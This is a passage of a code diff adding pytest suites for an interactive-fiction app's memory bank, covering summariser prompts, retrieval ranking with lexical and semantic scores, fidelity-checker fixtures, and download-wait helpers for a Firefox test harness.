Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
def campaign(db, texts):
|
||||
user = models.User(is_guest=False, email="b2-excerpt@example.com")
|
||||
db.add(user)
|
||||
db.flush()
|
||||
db.add(models.Settings(user_id=user.id, model="m", embedding_model=""))
|
||||
adventure = models.Adventure(user_id=user.id, title="Excerpt", script_state={},
|
||||
auto_summarize=True, memory_bank_enabled=True)
|
||||
db.add(adventure)
|
||||
db.flush()
|
||||
nodes = []
|
||||
for i, text in enumerate(texts):
|
||||
action = models.Action(adventure_id=adventure.id, type="ai" if i % 2 else "do", text=text)
|
||||
tree.place_action(db, adventure, action)
|
||||
db.add(action)
|
||||
db.flush()
|
||||
nodes.append(action)
|
||||
db.commit()
|
||||
return adventure, nodes
|
||||
|
||||
|
||||
def write_memory(db, adventure, monkeypatch, summariser):
|
||||
monkeypatch.setattr(memorybank, "MEMORY_START", 0)
|
||||
monkeypatch.setattr(memorybank, "MAX_MEMORIES_PER_RUN", 1)
|
||||
monkeypatch.setattr(memorybank, "summary_provider", lambda s: summariser)
|
||||
settings = db.query(models.Settings).first()
|
||||
asyncio.run(memorybank._create_due_memories(adventure, settings, db))
|
||||
return db.query(models.Memory).filter_by(adventure_id=adventure.id).all()
|
||||
|
||||
|
||||
def test_the_marker_is_never_stored_as_part_of_a_memory(db, monkeypatch):
|
||||
long = words_to_tokens(800)
|
||||
adventure, _ = campaign(db, [long] * (memorybank.MEMORY_INTERVAL + memorybank.SETTLE_SLACK))
|
||||
summariser = EchoSummariser()
|
||||
[memory] = write_memory(db, adventure, monkeypatch, summariser)
|
||||
assert MARKER in summariser.users[0] # the summariser was told
|
||||
assert MARKER not in memory.text # and the memory does not repeat it
|
||||
assert "[…" not in memory.text and "omitted" not in memory.text
|
||||
|
||||
|
||||
def test_a_short_block_is_prompted_exactly_as_before(db, monkeypatch):
|
||||
texts = [f"Short action {i}." for i in range(memorybank.MEMORY_INTERVAL + memorybank.SETTLE_SLACK)]
|
||||
adventure, _ = campaign(db, texts)
|
||||
summariser = EchoSummariser()
|
||||
write_memory(db, adventure, monkeypatch, summariser)
|
||||
block = "\n\n".join(texts[:memorybank.MEMORY_INTERVAL])
|
||||
assert summariser.users[0] == f"Story excerpt:\n\n{block}\n\nMemory:"
|
||||
|
||||
|
||||
def test_a_long_blocks_memory_keeps_its_source_provenance(db, monkeypatch):
|
||||
early = "Mara slipped the amber sundial inside the cracked teapot. " + words_to_tokens(900)
|
||||
texts = [early] + [words_to_tokens(900)] * (memorybank.MEMORY_INTERVAL + memorybank.SETTLE_SLACK - 1)
|
||||
adventure, nodes = campaign(db, texts)
|
||||
[memory] = write_memory(db, adventure, monkeypatch, EchoSummariser())
|
||||
block = nodes[:memorybank.MEMORY_INTERVAL]
|
||||
assert "sundial" in memory.text # the early fact reached the summariser
|
||||
assert (memory.source_start, memory.source_end) == (block[0].depth, block[-1].depth)
|
||||
assert (memory.branch_id, memory.depth) == (block[-1].branch_id, block[-1].depth)
|
||||
@@ -0,0 +1,326 @@
|
||||
"""v1.1 WP-B.2 (B2.1): what memory retrieval searches for, and how it scores.
|
||||
|
||||
B.1 found the planting-era memory created and retained but ranked out of
|
||||
`memory_top_k`, because the query was three turns of narration with the player's
|
||||
question at the end. The query is now the player's input plus a short scene
|
||||
context, and the score adds one transparent lexical term over the input.
|
||||
|
||||
These tests pin the pieces. The end-to-end fixture tests (crowded bank,
|
||||
context-dependent question, negative controls) are in
|
||||
`test_v11_b1_memory_diagnostic.py`, beside the diagnostic they use.
|
||||
|
||||
python -m pytest tests/test_v11_b2_memory_ranking.py -v
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import math
|
||||
|
||||
import pytest
|
||||
from sqlalchemy import event
|
||||
|
||||
from app import memorybank, models, tree
|
||||
from app.context import builder
|
||||
from app.database import Base, SessionLocal, engine
|
||||
|
||||
# ------------------------------------------------------------------ lexical
|
||||
|
||||
|
||||
def test_terms_are_folded_but_not_stemmed():
|
||||
terms = memorybank.lexical_terms("The tavern's teapots, the glass and the SUNDIAL")
|
||||
assert {"tavern", "teapot", "glass", "sundial"} <= terms
|
||||
assert "the" not in terms # the knowledge path's stop list
|
||||
assert "glas" not in terms # a word ending in "ss" is not a plural
|
||||
|
||||
|
||||
def test_a_word_every_candidate_holds_weighs_nothing():
|
||||
scores = memorybank.lexical_scores(
|
||||
frozenset({"travellers"}), {1: frozenset({"travellers", "road"}), 2: frozenset({"travellers"})})
|
||||
assert scores == {1: 0.0, 2: 0.0}
|
||||
|
||||
|
||||
def test_a_rarer_word_weighs_more_than_a_common_one():
|
||||
scores = memorybank.lexical_scores(
|
||||
frozenset({"sundial", "road"}),
|
||||
{1: frozenset({"sundial"}), 2: frozenset({"road"}), 3: frozenset({"road"}),
|
||||
4: frozenset({"gate"})})
|
||||
assert scores[1] > scores[2] == scores[3] > scores[4] == 0.0
|
||||
|
||||
|
||||
def test_a_single_rare_word_of_a_longer_question_is_only_its_share():
|
||||
"""The share is over the whole question, so one incidental word match
|
||||
cannot score like a memory that answers it."""
|
||||
question = frozenset({"where", "amber", "sundial", "fish"})
|
||||
scores = memorybank.lexical_scores(
|
||||
question, {1: frozenset({"fish"}), 2: frozenset({"amber", "sundial"}), 3: frozenset({"road"})})
|
||||
assert 0.0 < scores[1] < scores[2] <= 1.0
|
||||
assert scores[1] < 0.5
|
||||
|
||||
|
||||
def test_scores_are_bounded_and_empty_inputs_score_zero():
|
||||
candidates = {1: frozenset({"a1", "b2"}), 2: frozenset({"a1"})}
|
||||
assert all(0.0 <= v <= 1.0 for v in memorybank.lexical_scores(frozenset({"a1", "b2"}), candidates).values())
|
||||
assert memorybank.lexical_scores(frozenset(), candidates) == {1: 0.0, 2: 0.0}
|
||||
assert memorybank.lexical_scores(frozenset({"a1"}), {}) == {}
|
||||
|
||||
|
||||
# ------------------------------------------------------------------ scoring
|
||||
|
||||
|
||||
def _unit(angle):
|
||||
return [math.cos(angle), math.sin(angle)]
|
||||
|
||||
|
||||
def test_ties_are_broken_by_id_not_by_row_order():
|
||||
held = {7: [1.0, 0.0], 3: [1.0, 0.0], 5: [1.0, 0.0]}
|
||||
rows = memorybank.score_candidates([7, 3, 5], held, {}, [1.0, 0.0], None, [])
|
||||
assert [row[1] for row in rows] == [3, 5, 7]
|
||||
|
||||
|
||||
def test_the_semantic_score_mixes_input_and_context_by_the_fixed_weight():
|
||||
held = {1: [1.0, 0.0]}
|
||||
[(final, _, semantic, lexical)] = memorybank.score_candidates(
|
||||
[1], held, {}, [1.0, 0.0], [0.0, 1.0], [])
|
||||
assert semantic == pytest.approx(memorybank.INPUT_WEIGHT)
|
||||
assert final == semantic and lexical == 0.0
|
||||
# Either part alone is used as it is.
|
||||
[(_, _, only_context, _)] = memorybank.score_candidates([1], held, {}, None, [0.0, 1.0], [])
|
||||
assert only_context == pytest.approx(0.0)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("margin, relevant_first", [(0.01, True), (-0.01, False)])
|
||||
def test_a_lexical_match_moves_a_memory_at_most_the_lexical_weight(margin, relevant_first):
|
||||
"""The bound that keeps rarity from overruling meaning: a memory more than
|
||||
`LEXICAL_WEIGHT` behind semantically cannot pass one ahead of it, however
|
||||
rare the word it shares."""
|
||||
decoy_cos = 1.0 - memorybank.LEXICAL_WEIGHT - margin
|
||||
held = {1: [1.0, 0.0], 2: _unit(math.acos(decoy_cos))}
|
||||
terms = {1: frozenset(), 2: frozenset({"zeppelin"})}
|
||||
rows = memorybank.score_candidates([1, 2], held, terms, [1.0, 0.0], None, ["zeppelin"])
|
||||
order = [row[1] for row in rows]
|
||||
assert (order[0] == 1) is relevant_first
|
||||
|
||||
|
||||
# ---------------------------------------------------- the query, on real rows
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def db():
|
||||
Base.metadata.create_all(bind=engine)
|
||||
memorybank._vector_cache.clear()
|
||||
memorybank._terms_cache.clear()
|
||||
session = SessionLocal()
|
||||
try:
|
||||
yield session
|
||||
finally:
|
||||
session.close()
|
||||
memorybank._vector_cache.clear()
|
||||
memorybank._terms_cache.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def restore_embedding_provider():
|
||||
real = memorybank.embedding_provider
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
memorybank.embedding_provider = real
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def settings(db):
|
||||
user = models.User(is_guest=False, email="b2-rank@example.com")
|
||||
db.add(user)
|
||||
db.flush()
|
||||
row = models.Settings(user_id=user.id, model="m", embedding_model="stub-embed",
|
||||
memory_top_k=2, memory_bank_capacity=80)
|
||||
db.add(row)
|
||||
db.commit()
|
||||
return row
|
||||
|
||||
|
||||
SCENE_STATE = {
|
||||
"entities": {"mara": {"type": "character", "name": "Mara"},
|
||||
"tavern": {"type": "location", "name": "The Crooked Lantern"}},
|
||||
"scene": {"summary": "Closing time", "location": "tavern", "present": ["mara"]},
|
||||
}
|
||||
|
||||
|
||||
def make_adventure(db, settings, texts, state=None):
|
||||
"""`texts` is `[(type, text)]`, oldest first, each placed on the tree."""
|
||||
adventure = models.Adventure(user_id=settings.user_id, title="Rank", script_state={},
|
||||
memory_bank_enabled=True, narrative_state=state or {})
|
||||
db.add(adventure)
|
||||
db.flush()
|
||||
placed = []
|
||||
for kind, text in texts:
|
||||
action = models.Action(adventure_id=adventure.id, type=kind, text=text)
|
||||
tree.place_action(db, adventure, action)
|
||||
db.add(action)
|
||||
db.flush()
|
||||
placed.append(action)
|
||||
db.commit()
|
||||
return adventure, placed
|
||||
|
||||
|
||||
def test_the_query_is_the_players_input_and_the_scene(db, settings):
|
||||
adventure, _ = make_adventure(db, settings, [
|
||||
("start", "Rain over the harbour."),
|
||||
("ai", "Mara wipes down the counter and glances up at the shelf."),
|
||||
("do", "> You ask Mara about the brass dial."),
|
||||
], state=SCENE_STATE)
|
||||
query = memorybank.retrieval_query(adventure)
|
||||
assert query["input"] == "> You ask Mara about the brass dial."
|
||||
assert "The Crooked Lantern" in query["context"] and "Mara" in query["context"]
|
||||
assert "glances up at the shelf" in query["context"]
|
||||
assert "brass" in query["input_terms"] and "dial" in query["input_terms"]
|
||||
|
||||
|
||||
def test_a_continue_turn_has_no_input_and_searches_by_the_scene(db, settings):
|
||||
adventure, _ = make_adventure(db, settings, [
|
||||
("do", "> You sit down."),
|
||||
("ai", "The fire burns low in the grate."),
|
||||
])
|
||||
query = memorybank.retrieval_query(adventure)
|
||||
assert query["input"] == "" and query["input_terms"] == []
|
||||
assert "fire burns low" in query["context"]
|
||||
|
||||
|
||||
def test_a_retry_searches_with_the_input_it_is_retrying(db, settings):
|
||||
adventure, placed = make_adventure(db, settings, [
|
||||
("ai", "The market is quiet."),
|
||||
("do", "> You ask about the sundial."),
|
||||
("ai", "A discarded attempt about lanterns."),
|
||||
])
|
||||
query = memorybank.retrieval_query(adventure, exclude_action_id=placed[-1].id)
|
||||
assert query["input"] == "> You ask about the sundial."
|
||||
assert "lanterns" not in query["context"]
|
||||
assert "market is quiet" in query["context"]
|
||||
|
||||
|
||||
def test_the_query_is_bounded_however_long_the_story(db, settings):
|
||||
long = "The travellers walked the long grey road north past the salt market. " * 400
|
||||
adventure, _ = make_adventure(db, settings, [
|
||||
("ai", long), ("story", long)], state=SCENE_STATE)
|
||||
query = memorybank.retrieval_query(adventure)
|
||||
assert builder.count_tokens(query["input"]) <= memorybank.QUERY_INPUT_TOKENS
|
||||
assert builder.count_tokens(query["context"]) <= (
|
||||
memorybank.QUERY_SCENE_TOKENS + memorybank.QUERY_NARRATION_TOKENS + 2)
|
||||
|
||||
|
||||
# ------------------------------------------------ retrieval, end to end
|
||||
|
||||
|
||||
class SameVector:
|
||||
"""Every text embeds the same, so only the lexical term separates memories."""
|
||||
|
||||
async def embed(self, texts):
|
||||
return [[1.0, 0.0, 0.0] for _ in texts]
|
||||
|
||||
|
||||
def add_memory(db, adventure, text, **kwargs):
|
||||
memory = models.Memory(adventure_id=adventure.id, text=text, **kwargs)
|
||||
db.add(memory)
|
||||
db.flush()
|
||||
memorybank.set_vector(memory, [1.0, 0.0, 0.0])
|
||||
db.commit()
|
||||
return memory
|
||||
|
||||
|
||||
def retrieve(adventure, settings, **kwargs):
|
||||
memorybank.embedding_provider = lambda s: SameVector()
|
||||
return asyncio.run(memorybank.retrieve_memories(adventure, settings, **kwargs))
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def played(db, settings):
|
||||
adventure, _ = make_adventure(db, settings, [
|
||||
("ai", "The tavern is warm."),
|
||||
("do", "> You ask Mara where the amber sundial went."),
|
||||
], state=SCENE_STATE)
|
||||
bank = {
|
||||
"road": add_memory(db, adventure, "Aldric walked the north road."),
|
||||
"sundial": add_memory(db, adventure, "Mara hid the amber sundial in the teapot."),
|
||||
"gate": add_memory(db, adventure, "The gate guard asked for a toll."),
|
||||
}
|
||||
return adventure, bank
|
||||
|
||||
|
||||
def test_every_used_memory_reports_the_parts_of_its_score(db, settings, played):
|
||||
adventure, bank = played
|
||||
result = retrieve(adventure, settings)
|
||||
first = result["used"][0]
|
||||
assert first["id"] == bank["sundial"].id
|
||||
assert first["similarity"] == first["semantic_score"]
|
||||
assert first["lexical_score"] > 0
|
||||
assert first["final_score"] == pytest.approx(
|
||||
first["semantic_score"] + memorybank.LEXICAL_WEIGHT * first["lexical_score"], abs=2e-4)
|
||||
assert result["query"]["input"] == "> You ask Mara where the amber sundial went."
|
||||
assert result["query"]["lexical_weight"] == memorybank.LEXICAL_WEIGHT
|
||||
assert result["query"]["input_weight"] == memorybank.INPUT_WEIGHT
|
||||
|
||||
|
||||
def test_a_pin_is_still_always_used_and_counts_toward_top_k(db, settings, played):
|
||||
adventure, bank = played
|
||||
settings.memory_top_k = 1
|
||||
bank["gate"].pinned = True
|
||||
db.commit()
|
||||
used = retrieve(adventure, settings)["used"]
|
||||
assert [m["id"] for m in used] == [bank["gate"].id]
|
||||
assert used[0]["pinned"] is True
|
||||
|
||||
|
||||
def memory_text_reads(statements):
|
||||
return [s for s in statements
|
||||
if s.lstrip().upper().startswith("SELECT") and "FROM memories" in s
|
||||
and "memories.text" in s]
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def sql_log():
|
||||
statements: list[str] = []
|
||||
|
||||
def record(conn, cursor, statement, parameters, context, executemany):
|
||||
statements.append(statement)
|
||||
|
||||
event.listen(engine, "before_cursor_execute", record)
|
||||
try:
|
||||
yield statements
|
||||
finally:
|
||||
event.remove(engine, "before_cursor_execute", record)
|
||||
|
||||
|
||||
def test_memory_text_is_read_once_and_then_held(db, settings, played, sql_log):
|
||||
adventure, _ = played
|
||||
retrieve(adventure, settings)
|
||||
sql_log.clear()
|
||||
result = retrieve(adventure, settings)
|
||||
reads = memory_text_reads(sql_log)
|
||||
# Only the detail read of the memories chosen remains. (Every memory here
|
||||
# embeds identically, so redundancy suppression keeps just one of them.)
|
||||
assert len(reads) == 1 and reads[0].count("?") == len(result["used"])
|
||||
|
||||
|
||||
def test_a_continue_turn_reads_no_memory_text_to_rank(db, settings, sql_log):
|
||||
adventure, _ = make_adventure(db, settings, [("do", "> You wait."), ("ai", "Night falls.")])
|
||||
for text in ("one", "two", "three"):
|
||||
add_memory(db, adventure, f"memory {text}")
|
||||
sql_log.clear()
|
||||
result = retrieve(adventure, settings)
|
||||
assert all(m["lexical_score"] == 0.0 for m in result["used"])
|
||||
assert len(memory_text_reads(sql_log)) == 1 # the top-k detail read only
|
||||
|
||||
|
||||
def test_an_edited_memory_is_matched_on_its_new_text(db, settings, played):
|
||||
adventure, bank = played
|
||||
assert retrieve(adventure, settings)["used"][0]["id"] == bank["sundial"].id
|
||||
# An edit clears the vector (the route calls set_vector(None)); re-embedding
|
||||
# sets it again. Both go through set_vector, which drops the held terms.
|
||||
bank["road"].text = "The amber sundial was traded for the road toll."
|
||||
memorybank.set_vector(bank["road"], None)
|
||||
memorybank.set_vector(bank["road"], [1.0, 0.0, 0.0])
|
||||
bank["sundial"].text = "Mara hid a bottle in the cellar."
|
||||
memorybank.set_vector(bank["sundial"], None)
|
||||
memorybank.set_vector(bank["sundial"], [1.0, 0.0, 0.0])
|
||||
db.commit()
|
||||
assert retrieve(adventure, settings)["used"][0]["id"] == bank["road"].id
|
||||
@@ -0,0 +1,225 @@
|
||||
"""v1.1 WP-B.2: the memory summariser, after the rejected B2.4 prompt experiment.
|
||||
|
||||
B2.4 tried a memory prompt instructing the model to keep named facts and objects.
|
||||
Measured against the reference model, it did not correct the creation failure it
|
||||
was for, and it was not shipped (`V1.1-WP-B2-REPORT.md` §T). The shipped prompt
|
||||
is v1.0.0's.
|
||||
|
||||
This file keeps two kinds of test apart.
|
||||
|
||||
**Acceptance tests** gate the tree:
|
||||
- the shipped memory prompt is exactly v1.0.0's, so the experiment is gone;
|
||||
- every fidelity fixture reaches the summariser whole, through the application's
|
||||
own prompt assembly;
|
||||
- a long memory is stored as the model wrote it, never cut;
|
||||
- the memory the attempt-2 block should have produced ranks first under B2.1.
|
||||
|
||||
**Diagnostic-measurement tests** check only that `tools/memory_fidelity.py`
|
||||
measures correctly: fact retention, attribution, invention, word count, a leading
|
||||
"Memory:", second person and promise retention, on hand-written memories whose
|
||||
answers are known. What a real model scores on those measurements is
|
||||
nondeterministic, is taken with inference, and is reported. It is never a gate
|
||||
here.
|
||||
|
||||
python -m pytest tests/test_v11_b2_summarizer_fidelity.py -v
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import re
|
||||
import subprocess
|
||||
|
||||
import pytest
|
||||
|
||||
from app import memorybank, models, tree
|
||||
from app.database import Base, SessionLocal, engine
|
||||
from tools import memory_diagnostic as md
|
||||
from tools import memory_fidelity as mf
|
||||
|
||||
# ==================================================================== acceptance
|
||||
|
||||
|
||||
def test_the_shipped_memory_prompt_is_v1_0_0s():
|
||||
"""The B2.4 experiment is reverted: production sends the prompt v1.0.0 and
|
||||
WP-B.1 shipped, unchanged."""
|
||||
try:
|
||||
source = subprocess.run(["git", "show", "beb17ad:backend/app/memorybank.py"],
|
||||
capture_output=True, text=True, check=True).stdout
|
||||
except (OSError, subprocess.CalledProcessError):
|
||||
pytest.skip("git history not available")
|
||||
block = re.search(r"^MEMORY_SYSTEM_PROMPT = \((.*?)^\)$", source, re.S | re.M).group(1)
|
||||
shipped = eval(f"({block})", {"MEMORY_MAX_WORDS": 50}) # noqa: S307 - our own source
|
||||
assert memorybank.MEMORY_SYSTEM_PROMPT == shipped
|
||||
assert memorybank.MEMORY_MAX_WORDS == 50
|
||||
|
||||
|
||||
def test_the_rejected_experiment_is_not_what_ships():
|
||||
assert mf.B24_EXPERIMENT_PROMPT != memorybank.MEMORY_SYSTEM_PROMPT
|
||||
assert "Keep each fact with the person it belongs to" not in memorybank.MEMORY_SYSTEM_PROMPT
|
||||
|
||||
|
||||
@pytest.mark.parametrize("fixture", mf.FIXTURES, ids=lambda f: f.fixture_id)
|
||||
def test_every_fixture_reaches_the_summariser_whole(fixture):
|
||||
"""Creation can only fail at the model if the fact was sent. Each fixture
|
||||
fits the excerpt budget, so the whole block is the excerpt."""
|
||||
user = mf.user_prompt_for(fixture)
|
||||
assert memorybank.count_tokens(fixture.raw) <= memorybank.MEMORY_EXCERPT_TOKENS
|
||||
assert f"Story excerpt:\n\n{fixture.raw}\n\nMemory:" in user
|
||||
assert user.startswith("Cast:\n- " + fixture.protagonist + " — the protagonist.")
|
||||
|
||||
|
||||
class Scripted:
|
||||
def __init__(self, reply):
|
||||
self.reply = reply
|
||||
self.calls: list[tuple[str, str]] = []
|
||||
|
||||
async def complete(self, system, user, *, temperature=0.3, max_tokens=400):
|
||||
self.calls.append((system, user))
|
||||
return self.reply
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def db():
|
||||
Base.metadata.create_all(bind=engine)
|
||||
session = SessionLocal()
|
||||
try:
|
||||
yield session
|
||||
finally:
|
||||
session.close()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
def campaign(db, fixture):
|
||||
user = models.User(is_guest=False, email="b2-fidelity@example.com")
|
||||
db.add(user)
|
||||
db.flush()
|
||||
db.add(models.Settings(user_id=user.id, model="m", embedding_model=""))
|
||||
adventure = models.Adventure(user_id=user.id, title="Fidelity", script_state={}, auto_summarize=True,
|
||||
persona_name=fixture.protagonist)
|
||||
db.add(adventure)
|
||||
db.flush()
|
||||
nodes = []
|
||||
for kind, text in fixture.actions + (("ai", "The story moves on."),):
|
||||
action = models.Action(adventure_id=adventure.id, type=kind, text=text)
|
||||
tree.place_action(db, adventure, action)
|
||||
db.add(action)
|
||||
db.flush()
|
||||
nodes.append(action)
|
||||
db.commit()
|
||||
return adventure, nodes
|
||||
|
||||
|
||||
def write_memory(db, adventure, monkeypatch, provider):
|
||||
monkeypatch.setattr(memorybank, "MEMORY_START", 0)
|
||||
monkeypatch.setattr(memorybank, "MAX_MEMORIES_PER_RUN", 1)
|
||||
monkeypatch.setattr(memorybank, "summary_provider", lambda s: provider)
|
||||
settings = db.query(models.Settings).first()
|
||||
asyncio.run(memorybank._create_due_memories(adventure, settings, db))
|
||||
return db.query(models.Memory).filter_by(adventure_id=adventure.id).all()
|
||||
|
||||
|
||||
def test_the_application_sends_the_shipped_prompt_and_the_whole_planting_block(db, monkeypatch):
|
||||
fixture = mf.FIXTURES_BY_ID["regression_attempt_2"]
|
||||
adventure, nodes = campaign(db, fixture)
|
||||
provider = Scripted(fixture.faithful)
|
||||
[memory] = write_memory(db, adventure, monkeypatch, provider)
|
||||
system, user = provider.calls[0]
|
||||
assert system == memorybank.MEMORY_SYSTEM_PROMPT
|
||||
assert "> I watch Mara slip the amber sundial inside the cracked teapot" in user
|
||||
assert (memory.source_start, memory.source_end) == (nodes[0].depth, nodes[5].depth)
|
||||
|
||||
|
||||
def test_an_over_long_memory_is_stored_as_written_never_cut(db, monkeypatch):
|
||||
"""The word target is an instruction, not a truncation: cutting a memory
|
||||
after the fact can split or drop exactly the fact it was written to keep."""
|
||||
fixture = mf.FIXTURES_BY_ID["regression_attempt_2"]
|
||||
adventure, _ = campaign(db, fixture)
|
||||
long_reply = fixture.faithful + " " + " ".join(["They advanced cautiously through the dark."] * 12)
|
||||
[memory] = write_memory(db, adventure, monkeypatch, Scripted(long_reply))
|
||||
assert memory.text == long_reply
|
||||
assert len(memory.text.split()) > 2 * memorybank.MEMORY_MAX_WORDS
|
||||
|
||||
|
||||
def test_a_faithful_regression_memory_ranks_first_for_its_question():
|
||||
"""If the summariser keeps the fact, B2.1 finds it: the memory the attempt-2
|
||||
block should have produced, among the memories its bank really held for that
|
||||
stretch, under production scoring."""
|
||||
fixture = mf.FIXTURES_BY_ID["regression_attempt_2"]
|
||||
stored, _ = fixture.unfaithful[0]
|
||||
bank = {
|
||||
1: fixture.faithful,
|
||||
2: stored,
|
||||
3: "Aldric, Mara and Edrin advanced through the cold crypt, the silver key heavy in Aldric's hands.",
|
||||
4: "Aldric told Mara the silver key opens the crypt beneath the Old Abbey.",
|
||||
5: "Rain kept falling on Westhaven as the travellers walked toward the abbey grounds.",
|
||||
}
|
||||
embed = md.ConceptEmbedder.vector
|
||||
query = {"input": "> I ask Mara quietly where she hid the amber sundial.",
|
||||
"context": "Aldric and Mara in the Crooked Lantern, rain outside."}
|
||||
held = {i: embed(t) for i, t in bank.items()}
|
||||
terms = {i: memorybank.lexical_terms(t) for i, t in bank.items()}
|
||||
rows = memorybank.score_candidates(list(bank), held, terms, embed(query["input"]),
|
||||
embed(query["context"]),
|
||||
sorted(memorybank.lexical_terms(query["input"])))
|
||||
assert rows[0][1] == 1
|
||||
assert rows[0][3] > 0
|
||||
|
||||
|
||||
# ======================================================= diagnostic measurements
|
||||
# These prove the measuring instrument. They say nothing about any model.
|
||||
|
||||
|
||||
def test_the_fixtures_cover_each_measurement_in_more_than_one_genre():
|
||||
requirements = {f.requirement for f in mf.FIXTURES}
|
||||
assert {"distinctive object and place", "player-established concrete fact", "promise / commitment",
|
||||
"attribution", "clutter pressure", "no invention", "multiple concrete facts",
|
||||
"the actual failed-run block"} <= requirements
|
||||
assert {"office", "contemporary", "science-fiction-neutral"} <= {f.genre for f in mf.FIXTURES}
|
||||
|
||||
|
||||
@pytest.mark.parametrize("fixture", mf.FIXTURES, ids=lambda f: f.fixture_id)
|
||||
def test_the_checker_passes_a_faithful_memory(fixture):
|
||||
result = mf.evaluate(fixture, fixture.faithful)
|
||||
assert result["passed"], result
|
||||
assert not result["over_target"] and not result["memory_prefix"] and not result["second_person"]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("fixture, memory, reason", [
|
||||
(f, memory, reason) for f in mf.FIXTURES for memory, reason in f.unfaithful
|
||||
], ids=lambda v: v.fixture_id if isinstance(v, mf.Fixture) else None)
|
||||
def test_the_checker_fails_each_failure_shape(fixture, memory, reason):
|
||||
result = mf.evaluate(fixture, memory)
|
||||
assert not result["passed"], result
|
||||
if reason == "not retained":
|
||||
assert not result["retained"]
|
||||
elif reason == "misattributed":
|
||||
assert result["misattributed"]
|
||||
elif reason == "invented":
|
||||
assert result["inventions"]
|
||||
|
||||
|
||||
def test_the_checker_reads_the_stored_attempt_2_memory_as_the_real_failure():
|
||||
fixture = mf.FIXTURES_BY_ID["regression_attempt_2"]
|
||||
stored, _ = fixture.unfaithful[0]
|
||||
result = mf.evaluate(fixture, stored)
|
||||
assert result["retained"] is False and result["words"] == 102 and result["over_target"]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("memory, prefix, you", [
|
||||
("Memory: Dana promised Marcus the lease by Friday.", True, False),
|
||||
(" memory: Dana promised the lease.", True, False),
|
||||
("You thanked Marcus and left.", False, True),
|
||||
("Dana thanked Marcus; your lease is due.", False, True),
|
||||
("Dana promised Marcus she would bring the signed lease by Friday.", False, False),
|
||||
])
|
||||
def test_the_checker_measures_framing(memory, prefix, you):
|
||||
result = mf.evaluate(mf.FIXTURES_BY_ID["promise_contemporary"], memory)
|
||||
assert result["memory_prefix"] is prefix
|
||||
assert result["second_person"] is you
|
||||
|
||||
|
||||
def test_the_checker_measures_promise_retention():
|
||||
fixture = mf.FIXTURES_BY_ID["promise_contemporary"]
|
||||
kept = mf.evaluate(fixture, "Dana promised to bring Marcus the signed lease by Friday.")
|
||||
scenery = mf.evaluate(fixture, "Memory: Dana looked around the empty living room while a dog barked.")
|
||||
assert kept["facts"]["lease by Friday"]["kept"] and kept["passed"]
|
||||
assert not scenery["facts"]["lease by Friday"]["kept"] and scenery["memory_prefix"]
|
||||
@@ -0,0 +1,91 @@
|
||||
"""v1.1 WP-C: the browser harness's download helpers, without a browser.
|
||||
|
||||
`tools/m11_webdriver.wait_for_download` is what decides that an export actually
|
||||
left the browser as a file. It must never call a download finished because a
|
||||
file appeared, because it is still being written, or because it is empty — each
|
||||
of those would make "the export works" a claim the evidence does not support.
|
||||
|
||||
python -m pytest tests/test_v11_c_browser_helpers.py -v
|
||||
"""
|
||||
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
from tools import m11_webdriver as wd
|
||||
|
||||
|
||||
def later(seconds, action):
|
||||
timer = threading.Timer(seconds, action)
|
||||
timer.start()
|
||||
return timer
|
||||
|
||||
|
||||
def test_a_finished_file_is_returned(tmp_path):
|
||||
later(0.2, lambda: (tmp_path / "campaign.json").write_text('{"format": "x"}'))
|
||||
found = wd.wait_for_download(tmp_path, set(), timeout=5, poll=0.05)
|
||||
assert found == tmp_path / "campaign.json"
|
||||
|
||||
|
||||
def test_a_file_that_was_already_there_is_not_the_download(tmp_path):
|
||||
(tmp_path / "old.json").write_text("{}")
|
||||
with pytest.raises(wd.WebDriverError):
|
||||
wd.wait_for_download(tmp_path, {"old.json"}, timeout=0.6, poll=0.05)
|
||||
|
||||
|
||||
def test_an_empty_file_never_counts(tmp_path):
|
||||
(tmp_path / "empty.json").write_bytes(b"")
|
||||
with pytest.raises(wd.WebDriverError):
|
||||
wd.wait_for_download(tmp_path, set(), timeout=0.6, poll=0.05)
|
||||
|
||||
|
||||
def test_nothing_counts_while_firefox_is_still_writing(tmp_path):
|
||||
"""Firefox writes `<name>.part` beside the final name until it is done."""
|
||||
(tmp_path / "campaign.json").write_text('{"format": "x"}')
|
||||
(tmp_path / "campaign.json.part").write_text("")
|
||||
with pytest.raises(wd.WebDriverError):
|
||||
wd.wait_for_download(tmp_path, set(), timeout=0.6, poll=0.05)
|
||||
later(0.1, lambda: (tmp_path / "campaign.json.part").unlink())
|
||||
assert wd.wait_for_download(tmp_path, set(), timeout=5, poll=0.05).name == "campaign.json"
|
||||
|
||||
|
||||
def test_a_file_that_is_still_growing_is_not_finished(tmp_path):
|
||||
target = tmp_path / "big.json"
|
||||
target.write_text("{")
|
||||
stop = threading.Event()
|
||||
|
||||
def grow():
|
||||
for _ in range(8):
|
||||
if stop.is_set():
|
||||
return
|
||||
with target.open("a") as fh:
|
||||
fh.write("x" * 100)
|
||||
time.sleep(0.05)
|
||||
|
||||
writer = threading.Thread(target=grow)
|
||||
started = time.monotonic()
|
||||
writer.start()
|
||||
found = wd.wait_for_download(tmp_path, set(), timeout=5, poll=0.05, stable_polls=3)
|
||||
writer.join()
|
||||
# Returned only once the size held still, so after the last write.
|
||||
assert found == target
|
||||
assert target.stat().st_size == 1 + 8 * 100
|
||||
assert time.monotonic() - started >= 0.4
|
||||
|
||||
|
||||
def test_the_prefs_save_downloads_unasked_to_the_folder_given(tmp_path):
|
||||
prefs = wd.firefox_download_prefs(tmp_path)
|
||||
assert prefs["browser.download.folderList"] == 2
|
||||
assert prefs["browser.download.dir"] == str(tmp_path)
|
||||
